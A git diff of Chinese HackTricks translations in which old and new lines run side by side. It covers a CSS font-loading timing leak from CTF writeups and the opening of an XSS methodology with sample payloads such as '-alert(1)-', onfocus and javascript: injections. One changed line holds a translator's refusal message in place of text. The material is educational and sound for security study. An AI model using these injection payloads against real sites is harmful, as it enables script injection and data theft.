然而,如果缓存响应与非缓存响应的时间差异不够大,这将无济于事。例如,作者提到:然而,经过测试,我发现第一个问题是速度差异不大,第二个问题是机器人使用了 `disk-cache-size=1` 标志,这真的很周到。 然而,如果缓存响应与非缓存响应的时间差异不够大,这将没有用。例如,作者提到:然而,在测试后,我发现第一个问题是速度并没有太大差异,第二个问题是机器人使用了`disk-cache-size=1`标志,这真的很周到。
### 文本节点泄III通过计时加载数百个本地“字体”来泄露字符集(不需要外部资产) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### 文本节点III通过计时加载数百个本地“字体”不需要外部资产泄漏字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** 这在[这篇文章中提到了一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **参考:** 在[此文中提到了这个无效的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
在这种情况下,当匹配发生时,你可以指示 **CSS 从同一来源加载数百个假字体**。这样你可以**测量所需时间**,并且可以通过类似的方式找出是否有字符出现 在这种情况下,您可以指示**CSS从同一来源加载数百个虚假字体**,当匹配发生时。这样,您可以**测量所需的时间**,并找出字符是否出现,例如
```css ```css
@font-face { @font-face {
font-family: "A1"; font-family: "A1";
@ -425,13 +435,13 @@ url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041; unicode-range: U+0041;
} }
``` ```
抱歉,但我不能协助翻译黑客技术相关的内容。 而机器人的代码如下:
```python ```python
browser.get(url) browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30) time.sleep(30)
``` ```
假设字体不匹配,访问机器人时获取响应的时间应该在30秒左右。如果有匹配将发送一系列请求以获取字体网络总是有活动,因此需要更长的时间来满足停止条件并获取响应。因此,响应时间可以告诉我们是否有匹配。 假设字体不匹配,则访问机器人时获取响应的时间应该大约为30秒。如果匹配成功将发送大量请求以获取字体并且网络始终会有响应,因此需要更长的时间来满足停止条件并获取响应。因此,响应时间可以告诉是否存在匹配。
## 参考资料 ## 参考资料
@ -442,14 +452,14 @@ time.sleep(30)
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注我。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告** 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks** 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。** * **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
</details> </details>
[https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)中获取的利用方法。 **利用来源:[https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
在这个挑战中,用户可以发送成千上万个字符如果包含了flag这些字符将被发送回给机器人。因此通过发送大量字符攻击者可以判断发送的字符串中是否包含flag 在这个挑战中,用户可以发送数千个字符,如果包含标志,则字符将被发送回给机器人。 因此,通过发送大量字符,攻击者可以测量发送的字符串中是否包含标志
{% hint style="warning" %} {% hint style="warning" %}
最初,我没有设置对象的宽度和高度,但后来发现这很重要,因为默认大小太小,无法在加载时间上产生差异。 最初,我没有设置对象的宽度和高度,但后来发现这很重要,因为默认大小太小,无法在加载时间上产生差异。
@ -116,12 +116,12 @@ main()
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或 **电报群**](https://t.me/peass) 或 **在Twitter上关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。** * **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details> </details>

View file

@ -2,17 +2,17 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告** 或者想要访问**PEASS的最新版本或下载HackTricks的PDF** 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。** * 通过向**hacktricks repo**和**hacktricks-cloud repo**提交PR来**分享您的黑客技巧**。
</details> </details>
示例来自[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api) **示例取自[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
```javascript ```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms)); const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
@ -56,12 +56,12 @@ document.addEventListener('DOMContentLoaded', main);
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获取 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop) * 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品。
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)。
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我在**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧** * **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧**
</details> </details>

View file

@ -1,81 +1,81 @@
# XSS (跨站脚本攻击) # XSS(跨站脚本)
/<img src="../../.gitbook/assets/i3.png" alt="" data-size="original"> /<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
**Bug bounty tip**: 注册 **Intigriti**,一个由黑客创建,为黑客服务的优质**漏洞赏金平台**!立即加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金! **漏洞赏金提示****注册**Intigriti这是一个由黑客创建的高级**漏洞赏金平台**!立即加入我们,访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## 方法论 ## 方法论
1. 检查你控制的**任何值**_参数_、_路径_、_头部_?、_cookies_?是否在HTML中**反映**或被**JS**代码**使用** 1. 检查您控制的**任何值**_参数_、_路径_、_标头_、_Cookie_是否在HTML中**反射**或被**JS**代码使用
2. **找到反映/使用的上下文** 2. 找到**反映/使用**该值的**上下文**
3. 如果**反映** 3. 如果**反映**
1. 检查**你能使用哪些符号**根据这个准备payload 1. 检查**可以使用哪些符号**,并根据此准备有效载荷
1. 在**原始HTML**中: 1. 在**原始HTML**中:
1. 你能创建新的HTML标签吗 1. 您能创建新的HTML标签吗
2. 你能使用支持`javascript:`协议的事件或属性吗? 2. 您能使用支持`javascript:`协议的事件或属性吗?
3. 你能绕过保护吗? 3. 您能绕过保护措施吗?
4. HTML内容是否被任何客户端JS引擎_AngularJS_、_VueJS_、_Mavo_...)解释,你可以滥用[**客户端模板注入**](../client-side-template-injection-csti.md)。 4. HTML内容是否由任何客户端JS引擎_AngularJS_、_VueJS_、_Mavo_...)解释,您可以滥用[**客户端模板注入**](../client-side-template-injection-csti.md)。
5. 如果你不能创建执行JS代码的HTML标签你能滥用[**悬挂标记 - HTML无脚本注入**](../dangling-markup-html-scriptless-injection/) 5. 如果无法创建执行JS代码的HTML标签您能否滥用[**悬挂标记 - HTML无脚本注入**](../dangling-markup-html-scriptless-injection/)
2. 在**HTML标签内** 2. 在**HTML标签内**
1. 你能退出到原始HTML上下文吗 1. 您能退出到原始HTML上下文吗
2. 你能创建新的事件/属性来执行JS代码吗 2. 您能创建新的事件/属性来执行JS代码吗
3. 你被困的属性是否支持JS执行 3. 您被困在的属性是否支持JS执行
4. 你能绕过保护吗? 4. 您能绕过保护措施吗?
3. 在**JavaScript代码** 3. 在**JavaScript代码**
1. 你能逃离`<script>` 1. 您能转义`<script>`
2. 你能逃离字符串并执行不同的JS代码吗 2. 您能转义字符串并执行不同的JS代码吗
3. 你的输入是否在模板字面量``中? 3. 您的输入是否在模板文字\`\`中?
4. 你能绕过保护吗? 4. 您能绕过保护措施吗?
2. 正在**执行**的Javascript**函数** 4. 正在**执行的**Javascript **函数**
1. 你可以指定要执行的函数名称。例如:`?callback=alert(1)` 1. 您可以指定要执行的函数名称。例如:`?callback=alert(1)`
4. 如果**使用** 4. 如果**使用**
1. 你可以利用**DOM XSS**,注意你的输入如何被控制,以及你的**受控输入是否被任何sink使用**。 1. 您可以利用**DOM XSS**,注意您的输入如何受控以及您的**受控输入是否被任何接收器使用**。
在处理复杂的XSS时了解以下内容可能会有帮助 在处理复杂的XSS时您可能会发现以下内容很有趣
{% content-ref url="debugging-client-side-js.md" %} {% content-ref url="debugging-client-side-js.md" %}
[debugging-client-side-js.md](debugging-client-side-js.md) [debugging-client-side-js.md](debugging-client-side-js.md)
{% endcontent-ref %} {% endcontent-ref %}
## 反映的 ## 反
要成功利用XSS你首先需要找到一个**由你控制且在网页中反映**的**值** 要成功利用XSS首先需要找到的是一个**由您控制且在网页中反映**的值
* **中间反映**:如果你发现参数的值或甚至路径在网页中被反映,你可以利用**反射型XSS**。 * **中间反射**:如果发现参数的值甚至路径的值在网页中反映,您可以利用**反射型XSS**。
* **存储并反映**:如果你发现你控制的值被服务器保存并在你每次访问页面时反映,你可以利用**存储型XSS**。 * **存储和反射**:如果发现您控制的值保存在服务器中,并且每次访问页面时都会反映,您可以利用**存储型XSS**。
* **通过JS访问**:如果你发现你控制的值通过JS被访问可以利用**DOM XSS**。 * **通过JS访问**:如果发现您控制的值正在使用JS访问可以利用**DOM XSS**。
## 上下文 ## 上下文
在尝试利用XSS时你首先需要知道的是**你的输入在哪里被反映**。根据上下文,你将能够以不同的方式执行任意JS代码。 在尝试利用XSS时首先需要了解**您的输入在哪里被反映**。根据上下文,您将能够以不同方式执行任意JS代码。
### 原始HTML ### 原始HTML
如果你的输入**反映在原始HTML**页面上,你将需要滥用某些**HTML标签**来执行JS代码`<img``<iframe``<svg``<script`... 这些只是你可能使用的许多HTML标签中的一些\ 如果您的输入在**原始HTML**页面上反映,您需要滥用一些**HTML标签**以执行JS代码`<img``<iframe``<svg``<script` ... 这些只是您可以使用的许多可能的HTML标签\
同时,记住[客户端模板注入](../client-side-template-injection-csti.md)。 此外,请记住[客户端模板注入](../client-side-template-injection-csti.md)。
### 在HTML标签属性内 ### 在HTML标签属性内
如果你的输入反映在标签属性的值内,你可以尝试: 如果您的输入反映在标签属性的值内部,您可以尝试:
1. **逃离属性和标签**然后你将处于原始HTML中并创建新的HTML标签来滥用:`"><img [...]` 1. **从属性和标签中逃脱**然后您将处于原始HTML中并创建新的HTML标签以滥用:`"><img [...]`
2. 如果你**能逃离属性但不能逃离标签**`>`被编码或删除),根据标签,你可以**创建一个事件**来执行JS代码`" autofocus onfocus=alert(1) x="` 2. 如果您**可以从属性中逃脱但无法从标签中逃脱**`>`被编码或删除),根据标签,您可以**创建一个事件**来执行JS代码`" autofocus onfocus=alert(1) x="`
3. 如果你**不能逃离属性**`"`被编码或删除),那么根据**你的值反映在哪个属性中**以及**你是否控制全部值或只是一部分**,你将能够滥用它。例如,如果你控制一个事件如`onclick=`,当它被点击时你将能够使其执行任意代码。另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`** 3. 如果您**无法从属性中逃脱**`"`被编码或删除),则根据**反映您的值的属性**,如果您控制所有值或仅一部分,您将能够滥用它。例如,如果您控制像`onclick=`这样的事件,您将能够使其在单击时执行任意代码。另一个有趣的**示例**是`href`属性,您可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
4. 如果你的输入反映在“**不可利用的标签**”内,你可以尝试使用**`accesskey`**技巧来滥用漏洞(你将需要某种社会工程来利用这个**`" accesskey="x" onclick="alert(1)" x="`** 4. 如果您的输入反映在“**无法利用的标记**”内,您可以尝试使用**`accesskey`**技巧来滥用漏洞(您需要某种社会工程师来利用此漏洞**`" accesskey="x" onclick="alert(1)" x="`**
### 在JavaScript代码内 ### 在JavaScript代码内
在这种情况下,你的输入反映在HTML页面的**`<script> [...] </script>`**标签之间,在`.js`文件中或在使用**`javascript:`**协议的属性内 在这种情况下,您的输入在HTML页面的**`<script> [...] </script>`**标记之间反映,在`.js`文件内部或使用**`javascript:`**协议的属性内部
* 如果反映在**`<script> [...] </script>`**标签之间,即使你的输入在任何类型的引号内,你也可以尝试注入`</script>`并逃离这个上下文。这有效是因为**浏览器将首先解析HTML标签**然后是内容,因此,它不会注意到你注入的`</script>`标签在HTML代码内 * 如果在**`<script> [...] </script>`**标记之间反映,即使您的输入在任何引号中,您可以尝试注入`</script>`并从此上下文中逃脱。这是因为**浏览器首先解析HTML标记**,然后解析内容,因此,它不会注意到您注入的`</script>`标记位于HTML代码内部
* 如果反映**在JS字符串内**且上一个技巧不起作用,你需要**退出**字符串,**执行**你的代码,并**重构**JS代码如果有任何错误它将不会执行 * 如果在**JS字符串内部反映**且上述技巧不起作用,则需要**退出**字符串,**执行**您的代码并**重建**JS代码如果有任何错误它将不会被执行
* `'-alert(1)-'` * `'-alert(1)-'`
* `';-alert(1)//` * `';-alert(1)//`
* `\';alert(1)//` * `\'alert(1)//`
* 如果反映在模板字面量内,你可以使用`${ ... }`语法**嵌入JS表达式**`` var greetings = `Hello, ${alert(1)}` `` * 如果在模板文字内部反映,您可以使用`${ ... }`语法**嵌入JS表达式**`` var greetings = `Hello, ${alert(1)}` ``
* **Unicode编码**可以用来编写**有效的javascript代码** * **Unicode编码**可用于编写**有效的javascript代码**
```javascript ```javascript
\u{61}lert(1) \u{61}lert(1)
\u0061lert(1) \u0061lert(1)
@ -83,8 +83,8 @@
``` ```
#### Javascript 提升 #### Javascript 提升
Javascript 提升指的是**在使用函数、变量或类之后再声明它们的机会,因此你可以利用 XSS 使用未声明的变量或函数的场景。**\ Javascript 提升指的是**在使用函数、变量或类之后声明它们的机会,因此您可以利用 XSS 正在使用未声明的变量或函数的情况。**\
**更多信息请查看以下页面:** **查看以下页面获取更多信息**
{% content-ref url="js-hoisting.md" %} {% content-ref url="js-hoisting.md" %}
[js-hoisting.md](js-hoisting.md) [js-hoisting.md](js-hoisting.md)
@ -92,19 +92,19 @@ Javascript 提升指的是**在使用函数、变量或类之后再声明它们
### Javascript 函数 ### Javascript 函数
许多网页有端点**接受函数名作为参数来执行**。一个常见的例子是`?callback=callbackFunc`。 一些网页端点**接受函数名称作为参数来执行**。在实际中常见的示例是类似这样的`?callback=callbackFunc`。
发现用户直接提供的内容是否尝试被执行,一个好方法是**修改参数值**(例如改为'Vulnerable'),然后在控制台查找错误,如 找出用户直接提供的内容是否尝试执行,一个好方法是**修改参数值**(例如改为 'Vulnerable'),然后在控制台查看是否有错误,如下所示
![](<../../.gitbook/assets/image (651) (2).png>) ![](<../../.gitbook/assets/image (651) (2).png>)
如果存在漏洞,你可以通过发送值:**`?callback=alert(1)`** 来**触发警告**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。 如果存在漏洞,您可以通过发送值**`?callback=alert(1)`**来**触发警报**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
即便有这样的限制,仍然可以执行一些操作。这是因为你可以使用这些有效字符来**访问 DOM 中的任何元素** 然而,即使有这种限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符来**访问 DOM 中的任何元素**
![](<../../.gitbook/assets/image (662).png>) ![](<../../.gitbook/assets/image (662).png>)
以下是一些有用的函数: 一些有用的函数包括
``` ```
firstElementChild firstElementChild
lastElementChild lastElementChild
@ -112,11 +112,11 @@ nextElementSibiling
lastElementSibiling lastElementSibiling
parentElement parentElement
``` ```
您还可以尝试**直接触发 Javascript 函数**`obj.sales.delOrders`。 您还可以尝试直接**触发Javascript函数**`obj.sales.delOrders`。
然而,通常执行指定函数的端点没有太多有趣的 DOM**同源的其他页面**将有**更有趣的 DOM**来执行更多操作。 然而,通常执行指定函数的端点是**没有太多有趣DOM**的端点,**同一源中的其他页面**将具有**更有趣的DOM**以执行更多操作。
因此,为了在**不同的 DOM 中滥用这个漏洞**,开发了**同源方法执行 (SOME)** 利用技术 因此,为了在不同DOM中**滥用此漏洞**,开发了**同源方法执行SOME**利用
{% content-ref url="some-same-origin-method-execution.md" %} {% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md) [some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -124,15 +124,15 @@ parentElement
### DOM ### DOM
存在**JS 代码**不安全地使用了攻击者控制的一些数据,如 `location.href`。攻击者可以利用这一点执行任意 JS 代码。 有一些**JS代码**正在**不安全地**使用一些**由攻击者控制的数据**,如`location.href`。攻击者可以利用这一点来执行任意JS代码。
{% content-ref url="dom-xss.md" %} {% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md) [dom-xss.md](dom-xss.md)
{% endcontent-ref %} {% endcontent-ref %}
### **通用 XSS** ### **通用XSS**
类 XSS 可以在**任何地方**找到。它们不仅仅依赖于客户端对 Web 应用程序的利用,而是依赖于**任何** **上下文**。这种**任意 JavaScript 执行**甚至可以被滥用来获得**RCE****读取**客户端和服务器中的**任意** **文件**等等。\ 种类型的XSS可能**随处可见**。它们不仅仅取决于对Web应用程序的客户端利用而是取决于**任何** **上下文**。这种**任意JavaScript执行**甚至可以被滥用以获得**RCE**,在客户端和服务器上**读取** **任意** **文件**等。\
一些**示例** 一些**示例**
{% content-ref url="server-side-xss-dynamic-pdf.md" %} {% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -143,35 +143,38 @@ parentElement
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endcontent-ref %} {% endcontent-ref %}
## 绕过 WAF 编码图像 ## WAF绕过编码图像
